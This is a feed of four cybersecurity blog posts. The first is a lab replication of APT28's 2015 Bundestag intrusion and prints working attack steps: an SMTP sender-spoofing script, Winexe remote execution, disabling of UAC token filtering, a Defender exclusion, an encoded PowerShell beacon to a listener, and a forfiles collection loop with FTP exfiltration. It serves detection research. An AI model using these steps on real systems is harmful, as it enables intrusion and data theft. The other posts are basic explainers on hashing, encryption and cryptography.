<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Roshinni Gandhi on Medium]]></title>
        <description><![CDATA[Stories by Roshinni Gandhi on Medium]]></description>
        <link>https://medium.com/@roshinnigandhi?source=rss-21c5fcf3c932------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*HSR3yw5NS0jg1CJD</url>
            <title>Stories by Roshinni Gandhi on Medium</title>
            <link>https://medium.com/@roshinnigandhi?source=rss-21c5fcf3c932------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:51:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@roshinnigandhi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[APT28’s 2015 Bundestag Intrusion: What the Public Record Shows, and What I Rebuilt in a Lab]]></title>
            <link>https://roshinnigandhi.medium.com/apt28s-2015-bundestag-intrusion-what-the-public-record-shows-and-what-i-rebuilt-in-a-lab-4430b4a83261?source=rss-21c5fcf3c932------2</link>
            <guid isPermaLink="false">https://medium.com/p/4430b4a83261</guid>
            <category><![CDATA[research]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[defensive-security]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Roshinni Gandhi]]></dc:creator>
            <pubDate>Sun, 06 Sep 2026 15:26:35 GMT</pubDate>
            <atom:updated>2026-09-06T15:26:35.227Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Campaign Summary</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CnPy6J4Jq5Enecw3.jpeg" /></figure><p>In April–May 2015, the German Bundestag (federal parliament) suffered a significant network intrusion. Sources attribute the campaign to APT28 with varying confidence — BankInfoSecurity and Süddeutsche Zeitung reported German investigators and security researchers linking the operation to Russian military intelligence, while <a href="http://netzpolitik.org/">netzpolitik.org</a>’s investigative report into the Left Party (Die Linke) infrastructure hack offers the most technically detailed independent analysis available.</p><p>The operation is understood to have begun around late April 2015, with officials confirming the incident publicly around 11 May 2015. Reported impact includes roughly 5,600 affected computers, around 12,000 users, and approximately 16GB of exfiltrated data — including an estimated 10,000 emails belonging to Bundestag members.</p><p>Attribution of the malware itself to a specific individual (publicly named as Dmitriy Sergeyevich Badin in some reporting) is likewise an interpretation layered on top of technical indicators, not a directly observable fact — flagged accordingly throughout.</p><h3>2. Kill Chain Breakdown</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*EHPwCRJdIRNEefYhF9bnqg.png" /></figure><p>Consistent with the source material, Reconnaissance, Weaponization, and Exploitation are left blank rather than guess-filled — no source in our reference list addresses these stages for this campaign.</p><h3>3. ATT&amp;CK Mapping</h3><h4>T1566.002 — Phishing: Spearphishing Link</h4><ul><li><strong>Kill Chain Stage:</strong> Delivery</li><li><strong>Confidence:</strong> High</li><li><strong>Evidence:</strong> UN-spoofed sender, Ukraine-conflict subject line, targeted at Bundestag members</li></ul><h4>T1569.002 — System Services: Service Execution (Winexe)</h4><ul><li><strong>Kill Chain Stage:</strong> Installation</li><li><strong>Confidence:</strong> High — as a tool-use finding. Note: source [4] establishes <em>how Winexe operates</em>, not <em>how it first landed</em> on the target — the initial-installation vector for Winexe itself is unconfirmed</li><li><strong>Evidence:</strong> winexesvc.exe recovered from Die Linke file server; functionally equivalent to PsExec but Linux-controllable</li></ul><h4>T1573.002 — Encrypted Channel: Symmetric Cryptography</h4><ul><li><strong>Kill Chain Stage:</strong> Command and Control</li><li><strong>Confidence:</strong> High</li><li><strong>Evidence:</strong> Xtunnel’s -SSL flag triggers a full TLS handshake before beaconing; MITRE&#39;s own T1573.002 page cites Xtunnel by name</li></ul><h4>T1119 — Automated Collection</h4><ul><li><strong>Kill Chain Stage:</strong> Actions on Objectives</li><li><strong>Confidence:</strong> High confidence data was collected and the recovered script’s mechanism is source-confirmed; the trigger/delivery mechanism for that script is not</li><li><strong>Evidence:</strong> Recovered batch script identifies .pdf/.xls/.xlsx/.doc/.docx files modified after a specific date and stages them to a ProgramData folder — directly sourced from [4], not a reconstruction. Delivery-to-the-file-server mechanism (how the script got there / was triggered) is not addressed by the source.</li></ul><h4>T1010 — Exfiltration Over Alternative Protocol (speculated: FTP)</h4><ul><li><strong>Kill Chain Stage:</strong> Actions on Objectives</li><li><strong>Confidence:</strong> Low — mechanism is source-speculated, not confirmed, and the speculation doesn’t cleanly attach to the recovered artifact</li><li><strong>Evidence:</strong> Source [4] speculates (“the attacker may have uploaded the documents through a common utility like ftp”) — explicitly hedged Interpretation, not Observation. Notably, this speculation is attached to a separate, unrecovered, earlier version of the collection script, not the one actually recovered.</li></ul><h4>T1003.001 / T1555 — OS Credential Dumping: LSASS Memory / Credentials from Password Stores</h4><ul><li><strong>Kill Chain Stage:</strong> Credential Access</li><li><strong>Confidence:</strong> Medium — tool confirmed, specific sub-technique unconfirmed</li><li><strong>Evidence:</strong> Mimikatz confirmed used; sources do not specify which sub-technique</li></ul><h3>4. Replication</h3><p>I rebuilt the key mechanical building blocks of this campaign in an isolated lab (VirtualBox, Windows 10 Pro x64 target + Kali attacker, Sysmon + Splunk telemetry).</p><h3>Delivery: SMTP Sender Spoofing</h3><p>I stood up a mail server (hMailServer) and mail client (Thunderbird) in the lab, then sent a message replicating the historical lure’s sender and subject line using a from-scratch Python smtplib script — no payload, link or attachment, since the actual 2015 payload-delivery mechanism (what happened after the click) is not something I attempted to reconstruct. This mail server was deployed locally rather than as an internet-facing service, since the lab network is host-only and isolated (no route out, no real DNS/MX resolution) — a real deployment would sit on actual internet-facing mail infrastructure reachable via public DNS MX records. This local build exists purely to demonstrate the spoofing mechanism itself, not to replicate real-world infrastructure.</p><p>The code I used:</p><pre>import smtplib<br>from email.message import EmailMessage</pre><pre>smtp_server = &quot;192.168.56.20&quot;<br>smtp_port = 25</pre><pre># Build the message<br>msg = EmailMessage()<br>msg[&quot;From&quot;] = &quot;news@un.org&quot;                     # spoofed sender - forged, not authenticated<br>msg[&quot;To&quot;] = &quot;victim@bundestag-lab.local&quot;<br>msg[&quot;Subject&quot;] = &quot;Ukraine conflict with Russia leaves economy in ruins&quot;<br>msg.set_content(<br>    &quot;This is a benign lab test message. No payload, no link, no attachment.\n&quot;<br>    &quot;Purpose: testing mail gateway detection of a spoofed sender domain.&quot;<br>)</pre><pre>conn = smtplib.SMTP(smtp_server, smtp_port)<br>conn.set_debuglevel(1)<br>conn.ehlo()<br>conn.send_message(msg)<br>conn.quit()</pre><pre>print(&quot;Message sent.&quot;)</pre><p><strong>Finding:</strong> the spoofed sender (news@un.org) displayed in the mail client with <strong>zero warning indicator</strong>. Server logs confirmed no SPF, DKIM, or DMARC evaluation was configured — nothing in the mail path validated the claimed sender identity. This is the entire mechanism a spoofed lure like this relies on: SMTP&#39;s From: header is simply an unauthenticated string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W6S_ZBbc-9aEKWMeUXMMRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2D-juDZRfpoTbwWF8n7pRw.png" /></figure><h3>Installation: Winexe / Service Execution</h3><p>Using Winexe from Kali against the Windows target (with a dedicated local admin account, labadmin, standing in for &quot;obtained admin creds&quot;), I replicated the T1569.002 mechanism end-to-end: SMB authentication over port 445 → RPC over port 135 → Service Control Manager service creation via the ADMIN$ share → named-pipe-based I/O → remote command execution as SYSTEM.</p><p><strong>Connecting and transferring:</strong> Winexe authenticates to the target over SMB (445) and RPC (135), then uses those channels to push a temporary service binary (winexesvc.exe) onto the target via the ADMIN$ share and register it as a Windows service through the Service Control Manager. Once running, that service listens on a named pipe (\\ServerName\pipe\ahexec) that Winexe, acting as the client, writes commands into — the service reads from the pipe and executes them locally via CreateProcessAsUserA. This is why the technique needs local admin rights on the target: SCM service creation is a privileged operation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cbTOye--xVsTTe58R3t2-A.png" /></figure><p><strong>Troubleshooting chain, in the order encountered:</strong></p><ol><li>SMB (445) and RPC (135) were blocked by the target’s default firewall rules — opened via explicit inbound firewall rules for both ports.</li><li>Initial connection attempts failed with WERR_ACCESS_DENIED — caused by UAC remote token filtering stripping admin rights from the local account over the network. Resolved by setting the LocalAccountTokenFilterPolicy registry value (HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System) to 1, which disables that filtering for local accounts.</li><li>The next attempt failed with WERR_VIRUS_INFECTED — Windows Defender had quarantined the uploaded winexesvc.exe as Program:Win32/Contebrew.A!ml, an ML-heuristic hacktool/PUA classification. This is a finding in its own right: a 2015-era lateral-movement technique is caught, unmodified, by a stock modern Defender install. Resolved via a scoped, path-specific exclusion (Add-MpPreference -ExclusionPath) — not a blanket AV disable, closer to how a real environment might carve out an exception for a legitimate scoped admin tool.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b3u_iFHXtfI3lYOZencMAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*me_pxv6JX28GHpQXSsR_HQ.png" /></figure><p>Execution then succeeded, confirmed by the creation of C:\Windows\Temp\winexe_test.txt with the expected content. A plain .txt file was used here to keep the test simple and unambiguous — confirming the named-pipe/remote-execution mechanism worked. In a real intrusion, the attacker would more likely drop and execute an actual binary through this same channel, which would generate a richer, more realistic telemetry set (a distinct Event 1 process creation for the dropped binary, image/module load events, a file hash, and potentially AV/EDR detections tied to the binary itself rather than just the service/pipe activity) — a good candidate for a future follow-up run.</p><p>Splunk/Sysmon evidence confirmed the full predicted chain: service installation as LocalSystem (Event 7045), three separate named pipes for stdin/stdout/stderr (Events 17/18), and a child cmd.exe process with ParentImage: winexesvc.exe. One prediction miss, logged rather than smoothed over: expected services.exe as the service process&#39;s own parent image; Sysmon captured no parent image for that event at all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lja4mtMx0JKms_k8PPsKoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VRmFQubj3m1px4cps0w1Bg.png" /></figure><h3>Command &amp; Control: Beacon Replication</h3><p>The source describes “xtunnel” (svchost.exe.exe) as a tunnel/backchannel maintaining foothold via raw TCP/UDP beaconing, with an optional SSL-wrapped mode, six documented command-line arguments. Xtunnel itself is real malware — not replicated. Instead, I built a minimal, benign heartbeat matching the mechanism&#39;s shape: a fixed-string TCP check-in with no receive or execute capability whatsoever.</p><pre>while ($true) {<br>    try {<br>        $client = New-Object System.Net.Sockets.TcpClient(&quot;192.168.56.10&quot;, 4444)<br>        $stream = $client.GetStream()<br>        $msg = [System.Text.Encoding]::ASCII.GetBytes(&quot;beacon-check-in&quot;)<br>        $stream.Write($msg, 0, $msg.Length)<br>        $client.Close()<br>    } catch {}<br>    Start-Sleep -Seconds 30<br>}</pre><p>Pushed to the target as a base64-encoded -EncodedCommand via Winexe, rather than written to disk. The first attempt was blocked and removed by Windows Defender as Trojan:Win32/Commando.A!ml — a notably more severe classification than Winexe&#39;s own detection earlier in this replication (Program:Win32/Contebrew.A!ml, a PUA/hacktool tier).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9tJiPstdSSCgTmHhkEbnmA.png" /></figure><p>The same defense stack treats an encoded-PowerShell reverse-beacon pattern as meaningfully more dangerous than a dual-use remote-exec tool. A second, identical attempt succeeded and beaconed for roughly 12 minutes at the coded 30-second interval before the run ended — not from a stop command, but because I closed the interactive terminal session it was running in, which ended that session and the beacon process riding on it. Why the identical payload passed Defender on the second attempt was not conclusively determined.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nlkG5XPAFVLgJY6KV_ZyhQ.png" /></figure><p>Logs from Splunk:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TJ9IUlbxbll6Uux11wVnDg.png" /></figure><h3>Actions on Objectives: Automated Collection + Exfiltration</h3><p>The collection script was pushed onto the target rather than typed at a console — via smbclient, a real SMB client tool, writing the script file directly to the target&#39;s filesystem:</p><pre>smbclient //192.168.56.20/C$ -U labadmin%&lt;password&gt; -c &#39;put collect.ps1 Users\Rose\Documents\collect.ps1&#39;<br>winexe -U labadmin%&lt;password&gt; //192.168.56.20 &quot;powershell.exe -ExecutionPolicy Bypass -File C:\Users\Rose\Documents\collect.ps1&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sKPnvOiqyd7T6HQY2JodcQ.png" /></figure><p>This first pass used a researcher-written PowerShell script (Get-ChildItem/Copy-Item) rather than the source&#39;s actual mechanism. I later redid Collection to match the source faithfully, since the sourced artifact is a forfiles/cmd batch loop, not PowerShell:</p><pre>for %G in (.pdf .xls .xlsx .doc .docx) do (forfiles /P C:\Users\Rose\Documents\dummy /m *%G /s /d +16/08/2026 /c &quot;cmd /c copy @path C:\ProgramData\SysCache\@file&quot;)</pre><p>This version matches the source’s mechanism (forfiles, not PowerShell) and its staging location pattern (ProgramData, not Windows\Temp). Two deliberate simplifications remain, logged rather than hidden: the source&#39;s absolute date filter used its own recovered value; ours uses this lab&#39;s own file dates instead. And the source pulls from a separate drive (F:\); I used a local folder as a stand-in rather than provisioning a second drive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*20JKQdv-CJtxfGUlzXyfnA.png" /></figure><p>Telemetry difference between the two approaches, confirmed via Splunk: the PowerShell version produced a single powershell.exe process; the forfiles version produced <strong>four separate, short-lived </strong><strong>forfiles.exe processes</strong> (one per file extension in the loop), clustered within half a second. Genuinely different signatures for functionally similar outcomes.</p><p>For exfiltration, I set up vsftpd on the Kali box as a receiving server and pushed an FTP script to the Windows target (again via Winexe) to transfer the collected files out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1bmJYo2WyLzLBavyVAcXqw.png" /></figure><p>The successful transfer was byte-verified against the source-faithful collection output: test.pdf matched 16,008 bytes on both source and destination. Splunk showed the complete three-hop process lineage: winexesvc.exe → cmd.exe → ftp.exe, user labadmin throughout.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vm9q4eyLXQHq_ZPg_EtQvA.png" /></figure><p><strong>A caveat worth being precise about:</strong> the source states the recovered batch script (the one this replication matches) has “no dedicated exfiltration functionality.” Its FTP speculation is attached to a <em>different, unrecovered, earlier</em> version of the script. This lab’s Collection→Exfiltration sequence is therefore a <strong>sourced but combined replication</strong> — it tests the mechanism of the documented collection script plus the mechanism of a separately-speculated exfiltration method, chained together for practical lab purposes. The source does not claim these two are the same continuous event.</p><h3>5. Detection Gaps and Hunting Hypotheses</h3><p>The PowerShell-based collection run (files copied via Get-ChildItem/Copy-Item, chained through Winexe) produced <strong>zero Sysmon FileCreate (Event 11) events</strong> for any of the copied .pdf/.docx/.xlsx files, despite their confirmed on-disk presence. I checked this directly against the live config (sysmonconfig-export.xml, SwiftOnSecurity) rather than leaving it as an inference: the FileCreate onmatch=&quot;include&quot; block (line 484) allow-lists specific extensions only — .exe, .dll, .bat, .cmd, .docm (macro-enabled only, not plain .doc), .jar, .hta, plus a handful of path-based triggers. Plain .pdf, .doc, .docx, and .xlsx are absent from that list.</p><p><strong>Hunting hypothesis:</strong> any monitoring stack running an unmodified SwiftOnSecurity Sysmon config should be checked for FileCreate coverage on document extensions specifically, not just executables — a gap that silently defeats detection of bulk document staging even where service-execution and network telemetry are otherwise solid.</p><p>A second, related gap surfaced in the exfiltration step: ftp.exe&#39;s outbound connection to the Kali FTP server produced no Sysmon Event 3 (Network Connection), even though the process chain around it (winexesvc.exe → cmd.exe → ftp.exe) was fully logged via Event 1. I checked this the same way — the NetworkConnect onmatch=&quot;include&quot; block (line 271) logs connections based on suspicious source path or a named list of specific tool binaries (cmd.exe, certutil.exe, cscript.exe, and others); ftp.exe is absent from that list, and searching the full config for any mention of ftp returns only an unrelated documentation comment.</p><p><strong>Hunting hypothesis:</strong> under this Sysmon configuration, process-chain telemetry can fully expose a remote-execution-driven exfiltration sequence while the actual data-transfer connection itself stays invisible — defenders relying on Sysmon network telemetry alone for exfil detection would miss this specific technique entirely, even with process auditing otherwise intact.</p><p>A useful contrast: the C2 beacon (powershell.exe connecting to the Kali listener) <em>was</em> fully captured by Sysmon Event 3, every single check-in, for the full ~12-minute run. Same lab, same Sysmon config, same session — but one technique&#39;s network activity is fully visible and the other&#39;s is completely invisible, purely because of which process name is doing the connecting. A defender relying on this config would catch a PowerShell-based beacon in real time while missing an FTP-based exfiltration entirely.</p><h3>6. Analyst Notes</h3><p><strong>Delivery mechanism, reconciled.</strong> Initial source review found the click-to-install mechanism only stated in one source (BankInfoSecurity, attributed to Süddeutsche Zeitung) and flagged it as a potential conflict against a hedged claim elsewhere. Direct re-verification of the source confirmed no actual conflict — this is a case of uneven source depth, not disagreement: one source states the mechanism directly, two others are timeline-of-events pieces that don’t address it, and the fourth hedges toward “possible credential phishing” without contradicting the first.</p><p><strong>Open, unresolved items:</strong> one source’s brief note that the malware “resembles” a 2014 sample was not independently verified; two open technical questions from the artifact-analysis phase (the exact scope of the ADMIN$ share reference, and a certificate/IP-history hunt) remain unanswered.</p><p><strong>Lateral movement — formally unresolved.</strong> No source in our reference list explains how the initial phished foothold led to the file server and admin controller where Winexe and Xtunnel were found. This is logged as an open, honestly-documented gap in the public record for this campaign, not a failure to find the answer.</p><p><em>Sources: [1] </em><a href="https://www.bankinfosecurity.com/russian-suspected-german-parliament-hack-report-a-14236"><em>BankInfoSecurity</em></a><em> · [2] </em><a href="https://www.sueddeutsche.de/politik/hack-bundestag-angriff-russland-1.4891668"><em>Süddeutsche Zeitung</em></a><em> · [3] </em><a href="https://www.govinfosecurity.com/german-parliament-battles-active-hack-a-8313?highlight=true"><em>GovInfoSecurity</em></a><em> · [4] </em><a href="http://netzpolitik.org/"><em>netzpolitik.org</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4430b4a83261" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hashing in Cybersecurity]]></title>
            <link>https://roshinnigandhi.medium.com/hashing-in-cybersecurity-6de06e8fc81c?source=rss-21c5fcf3c932------2</link>
            <guid isPermaLink="false">https://medium.com/p/6de06e8fc81c</guid>
            <category><![CDATA[hashing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[integrity]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[digital-security]]></category>
            <dc:creator><![CDATA[Roshinni Gandhi]]></dc:creator>
            <pubDate>Mon, 06 Oct 2025 10:38:27 GMT</pubDate>
            <atom:updated>2025-10-06T10:38:27.338Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>The Silent Protector of Digital Trust</blockquote><h3>Introduction:</h3><p>Hashing is an important concept for securing integrity in the digital world. Every time when you log in to your system by entering your credentials, sign a digital document or verify an app download, there is an invisible process quietly at work called hashing. It is one of the pillars that hold up cybersecurity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Eahf6S_4-3gsL2P1" /><figcaption>Hashing in Cybersecurity</figcaption></figure><p>Encryption is reversible and protects confidentiality; hashing is one-way and protects integrity. Instead, it makes sure your data stays honest. It guarantees integrity which means what you sent or stored is exactly what is received or retrieved with zero tampering.</p><h3>What Hashing Really Does:</h3><p>Before diving into the process of hashing, we must first need to know about hash. Hash is the digital fingerprint of data consisting of alpha numeric characters. Hashes always have fixed length. Even if we hashed a password of 100 characters, the hash length would be same for a password of 4 letters. Mainly, hashes are irreversible.</p><p>Now, what is hashing? Hashing is a process of converting any piece of information, whether a password, file or full message, into a unique fixed-length string of characters. This output is called a hash value or digest.</p><p>Example:<br><em>Input: &quot;CyberLion&quot;<br>MD5 Hash: </em>2a5a9ec18b7bccbac8d6d346a35c5750<em><br>Input: &quot;Cyberlion&quot;<br>MD5 Hash: </em>b3f57e154c53d4b183c36db60de02d9e</p><p>That one uppercase letter made a completely different hash.<br>This sensitivity is what makes hashing so powerful for detecting changes.</p><h3>Why Hashes Cannot Be Reversed?</h3><p>A crucial part of hashing is that it’s a one-way process. You can hash something, but you cannot reverse it to get the original data back.</p><p>That is why it is ideal for password storage.<br>Even if an attacker steals hashed data, they cannot directly see the original text. Though with weak algorithms, they can still brute-force or use rainbow tables. So choosing the right algorithm matters big time.</p><h3>Passwords Integrity:</h3><p>Every time you sign up for an online account, your password is never stored as plain text. it is stored as a hash instead.</p><p>The process is simple:</p><p>1. You type your password.<br>2. The website hashes it (say using SHA-256).<br>3. It stores only that hash value in the database.</p><p>Next time you log in, the system hashes your entered password again and compares the two hashes. If they match, you are verified.</p><p>Now imagine a hacker breaks into that database. All they would see are gibberish strings.</p><p>But hackers are clever. The precomputed hash tables (rainbow tables) are used to guess possible passwords.<br>To counter that, systems use salting which adds random data to your password before hashing.</p><p>Example:<br>Password: &quot;Tiger123&quot;<br>Salt: &quot;9xk!&quot;<br>Hashed Result: a34f02dc5f...</p><p>Even if two users have the same password, their hashes will be completely different because of the unique salt.</p><h3>Digital Signatures:</h3><p>Digital signatures rely heavily on hashing too. It is to ensure that the data has not been tampered.</p><p>Here is the process:</p><p>1. The sender hashes the document.<br>2. They encrypt that hash with their private key (remember asymmetric encryption) to create the digital signature.<br>3. The receiver decrypts the signature using the public key and re-hashes the original document.<br>4. If both hashes match, the document is verified.</p><p>So hashing guarantees integrity (no tampering) and authenticity (it really came from the sender).</p><p>This process powers secure communication, software updates and even blockchain transactions.</p><h3>Inside Windows: NTLM Hashes and Credential Storage:</h3><p>The Windows systems use hashing internally.</p><p>Windows does not store your actual password. Instead, Windows derives an NTLM hash (based on the MD4 algorithm) from your password and stores it in the SAM database for local authentication.</p><p>When you log in, Windows hashes the password you type and compares it to the stored NTLM hash. If they match, access granted.</p><p>But the problem?<br>Attackers can dump these hashes using tools like Mimikatz or SecretsDump.</p><p>That is why Windows admins secure these hashes using techniques like LSA protection, Credential Guard and limiting local admin reuse.</p><h3>Hash Collisions:</h3><p>Even though hash functions are designed to be unique, sometimes different inputs can produce the same hash. This is called a collision. Collisions happen because hash output size is limited</p><p>Older algorithms like MD5 and SHA-1 have been proven vulnerable to collisions, which means two different files can share the same hash.<br>This is dangerous for verifying integrity. Imagine we may download a malicious file that has the same hash as a legitimate one.</p><p>That is why modern cybersecurity relies on stronger algorithms like SHA-256, SHA-3 and bcrypt.</p><h3>Real-World Use Cases of Hashing:</h3><p>Let us see how hashing pops up everywhere:</p><ul><li>Password storage– Every authentication system uses hashing.</li><li>Digital forensics– Investigators hash files to prove evidence was not altered.</li><li>Malware detection– AV tools compare file hashes against known malicious ones.</li><li>Blockchain– Every block’s integrity depends on hashes.</li><li>Software integrity– Developers provide checksum hashes so users can verify that downloaded files weren’t tampered with.</li></ul><p>Hashing is everywhere, silently running in the background.</p><h3>Conclusion:</h3><p>Hashing does not hide secrets. It does not encrypt messages.<br>But it gives us something just as important — integrity.</p><p>From your Windows login to digital signatures, from blockchain blocks to password databases, hashing ensures that what you see is what was truly sent.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6de06e8fc81c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Encryption in Cyber Security]]></title>
            <link>https://roshinnigandhi.medium.com/encryption-in-cyber-security-50cafba49caf?source=rss-21c5fcf3c932------2</link>
            <guid isPermaLink="false">https://medium.com/p/50cafba49caf</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[cybersecurity-awareness]]></category>
            <dc:creator><![CDATA[Roshinni Gandhi]]></dc:creator>
            <pubDate>Sun, 21 Sep 2025 09:36:49 GMT</pubDate>
            <atom:updated>2025-09-21T09:43:55.580Z</atom:updated>
            <content:encoded><![CDATA[<h4>How Secret Keys Keep Your Data Safe Online</h4><h3>Introduction:</h3><p>We live in a world where everything is online. From chats to bank details, data is always moving. But how can we keep it safe? The answer is encryption.</p><p>Think of encryption like a secret language. You write a message, lock it and only the right key can open it. Let us break it down in simple words.</p><h3>What is Encryption?</h3><p>Encryption is a way of hiding information. It turns normal text into unreadable text. If someone steals it, they only see gibberish. To unlock it, we need a key.</p><h4>Example:</h4><p>The message “Hello” can be transformed “Jd93k!9a” after encryption Only the right key can bring it back to “Hello.”</p><h3>Why Do We Need Encryption?</h3><p>Without encryption, anyone could spy on our data. Think about:</p><ul><li>Sending your bank PIN online.</li><li>Logging in with your email password.</li><li>Talking to a friend on WhatsApp.</li></ul><p>If these were not encrypted, hackers could read them. Encryption acts like armor for our data.</p><h3>Types of Encryption:-</h3><h4>1) Symmetric Encryption:</h4><p>This is the simplest form. It uses just one key for both locking and unlocking the data. It is fast and reliable.</p><h4>How it works in practice:</h4><ol><li>The software generates a strong random key automatically.</li><li>The key must be shared securely with the other person. This can be done in person, via secure email or even by using asymmetric encryption to share it safely.</li><li>Both parties store the key safely. If anyone else gets it, all the data is at risk.</li></ol><h4>Most common examples:</h4><p>DES and AES.</p><h4>Drawback:</h4><p>If someone steals that one key, they can open everything. Imagine you and your friend share one secret password to read letters. If a hacker gets it, the whole system collapses.</p><h4>Use cases:</h4><ul><li>Securing files stored on your computer.</li><li>Encrypting credit card data in banking systems.</li><li>Protecting Wi-Fi networks (WPA2 uses it)</li></ul><h4>2) Asymmetric Encryption</h4><p>This method uses two keys: a public key and a private key. The public key locks the data and only the private key can unlock it.</p><h4>Where do the keys come from?</h4><p>Keys are generated automatically by software or servers using algorithms like RSA or ECC.</p><h4>How it works?</h4><p>Imagine that you want to share a sensitive data with me and to secure the data you chose to use Asymmetric Encryption method.</p><ol><li>You give me your public key. It can only lock the file; cannot unlock.</li><li>I encrypt the file using your public key. Now it is unreadable gibberish.</li><li>I send the encrypted file to you. Hackers cannot read it.</li><li>You use your private key to decrypt it and see the original file.</li></ol><h4>Drawback:</h4><p>It is slower than symmetric encryption and not ideal for huge amounts of data.</p><h4>Example:</h4><p>RSA is the classic example.</p><h4>Use cases:</h4><ul><li>Digital certificates (HTTPS websites with the padlock symbol)</li><li>Email encryption (like PGP)</li><li>Secure logins and authentication systems</li></ul><h3>Where Do We See Encryption Every Day?</h3><ul><li>WhatsApp chats: End-to-end encryption.</li><li>Banking apps: secure money transfers.</li><li>Websites with HTTPS lock symbol in your browser.</li><li>Cloud storage: Google Drive, iCloud</li></ul><h3>Conclusion:</h3><p>Encryption is everywhere. You may not notice it, but it protects you daily. It is the reason you can shop, chat and bank online without fear.</p><p>For a SOC Analyst like me, encryption is not just tech. It is trust. Without it, the internet would feel like walking in a crowded street shouting your secrets.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50cafba49caf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cryptography in Cybersecurity]]></title>
            <link>https://roshinnigandhi.medium.com/cryptography-in-cybersecurity-ec062a061109?source=rss-21c5fcf3c932------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec062a061109</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[soc-analyst-training]]></category>
            <dc:creator><![CDATA[Roshinni Gandhi]]></dc:creator>
            <pubDate>Wed, 10 Sep 2025 19:09:41 GMT</pubDate>
            <atom:updated>2025-09-10T19:09:41.036Z</atom:updated>
            <content:encoded><![CDATA[<h4>A Simple Guide for Aspiring SOC Analysts</h4><h4>Introduction:</h4><p>As an aspiring SOC Analyst, one of the first concepts I came across in cybersecurity is cryptography. It may looks complex. But cryptography is about protecting information. It ensures that data stays safe when stored or shared.</p><h4>What is Cryptography?</h4><p>Cryptography is the method of turning plain information into a secret code. Only the right people, with the right key, can unlock and read it. This prevents outsiders from stealing or changing the data.</p><h4>Why Does it Matter in Cybersecurity?</h4><p>In cybersecurity, protecting data is one of the main goals. This is where Cryptography helps with:</p><ul><li>Confidentiality: Only the intended person can see the information.</li><li>Integrity: The information cannot be changed without being noticed.</li><li>Authentication: Verifying that the sender is real.</li><li>Non-repudiation: The sender cannot deny that they sent the information.</li></ul><h4>Examples of Cryptography in Daily Life:</h4><p>We already use cryptography without realizing it:</p><ul><li>Locking your phone with a password or fingerprint.</li><li>Using WhatsApp which secure chats with encryption.</li><li>Shopping online with HTTPS websites.</li></ul><h4>Types of Cryptography:</h4><p>There are three main types:</p><p>1. Symmetric encryption: The same key is used to lock and unlock the data.<br>2. Asymmetric encryption: Two different keys are used – a public key to lock and a private key to unlock.</p><p>3. Hashing: Hash functions do not require a key. Instead, they use mathematical algorithms to convert messages of any arbitrary length into a fixed-length output, known as a hash value or digest. Hash functions are designed to be one-way, meaning the original input cannot be derived from the output.</p><h4>Why SOC Analysts Need to Know This?</h4><p>As a SOC Analyst, we will deal with logs, alerts and incidents. Many of these involve encrypted data or attacks against encryption. Having a clear idea of cryptography helps you understand:</p><ul><li>How attackers try to bypass encryption.</li><li>How to check if sensitive data is secure.</li><li>Why certain alerts show up in monitoring tools.</li></ul><h4>Conclusion:</h4><p>Cryptography is about 